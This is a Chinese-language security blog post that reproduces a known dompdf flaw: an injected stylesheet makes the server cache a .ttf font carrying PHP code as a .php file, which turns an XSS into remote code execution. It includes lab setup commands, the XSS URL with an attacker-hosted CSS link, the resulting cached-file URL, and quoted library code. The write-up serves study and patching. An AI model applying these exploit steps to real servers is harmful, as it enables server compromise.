利用dompdf将XSS升级为RCE

admin 2022年3月18日00:08:16评论151 views字数 2496阅读8分19秒阅读模式

声明!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!

复现

git clone https://github.com/positive-security/dompdf-rce.git

启动应用服务器,模拟受害者服务器

$ cd application
$ php -S localhost:9000

启动攻击者服务器

$ cd exploit
$ php -S localhost:9001

远程加载资源,将在应用服务器本地缓存资源文件

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

访问缓存的php font文件,触发漏洞

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

简要分析

dompdf是一个最常使用的库,用来在服务器上呈现PDF

dompdf的配置文件中,若设置$isRemoteEnabled(或版本 ≤ 0.8.5,无论此设置如何),dompdf 允许通过font-face CSS规则加载自定义字体,如下所示

@font-face {
font-family:'TestFont';
src:url('http://attacker.local/test_font.ttf');
font-weight:'normal';
font-style:'normal';
}

当使用外部字体时,dompdf 将其缓存在本地/lib/fonts子目录中,并在dompdf_font_family_cache.phpusing中添加相应的条目saveFontFamilies(),该文件即字体缓存的索引

利用dompdf将XSS升级为RCE

漏洞的关键点在字体缓存中,如下

/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/

public function registerFont($style, $remoteFile, $context = null)
{
$fontname = mb_strtolower($style["family"]);
$styleString = $this->getType("{$style['weight']} {$style['style']}");

$fontDir = $this->options->getFontDir();
$remoteHash = md5($remoteFile);

$prefix = $fontname . "_" . $styleString;
$prefix = preg_replace("[\W]", "_", $prefix);
$prefix = preg_replace("/[^-_\w]+/", "", $prefix);

$localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
$localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));

// Download the remote file
list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);

$localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
file_put_contents($localTempFile, $remoteFileContent);

$font = Font::load($localTempFile);

if (!$font) {
unlink($localTempFile);
return false;
}

$font->parse();
$font->close();

unlink($localTempFile);

// Save the changes
file_put_contents($localFile, $remoteFileContent);
$this->saveFontFamilies();

return true;
}

从上述代码中,可以确定非常重要的一点:

新缓存字体的文件的文件名是确定的,是根据我们提供的字体名称、样式、远程URL等进行hash运算

并且,从$font->parse();$font = Font::load($localTempFile);两行代码中可以看出,字体必须是有效的,因为它必须能够被php-font-lib加载和解析

但是php-font-lib仅会检查被加载文件的文件头,而忽略了文件扩展名

因此,漏洞的执行过程:

  1. 我们使用有效的.ttf字体,在其中,添加恶意代码<?php phpinfo(); ?>,并将该文件存储为xxx.php
利用dompdf将XSS升级为RCE
  1. 在xxx.css中包含该php文件,并通过XSS漏洞远程加载资源文件xxx.css
利用dompdf将XSS升级为RCE

访问http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

dompdf就会在/lib/fonts目录下缓存php文件,即存在恶意代码的php文件

访问http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

利用dompdf将XSS升级为RCE

参考链接

https://positive.security/blog/dompdf-rce


原文始发于微信公众号(流沙安全实验室):利用dompdf将XSS升级为RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月18日00:08:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用dompdf将XSS升级为RCEhttp://cn-sec.com/archives/832827.html

发表评论

匿名网友 填写信息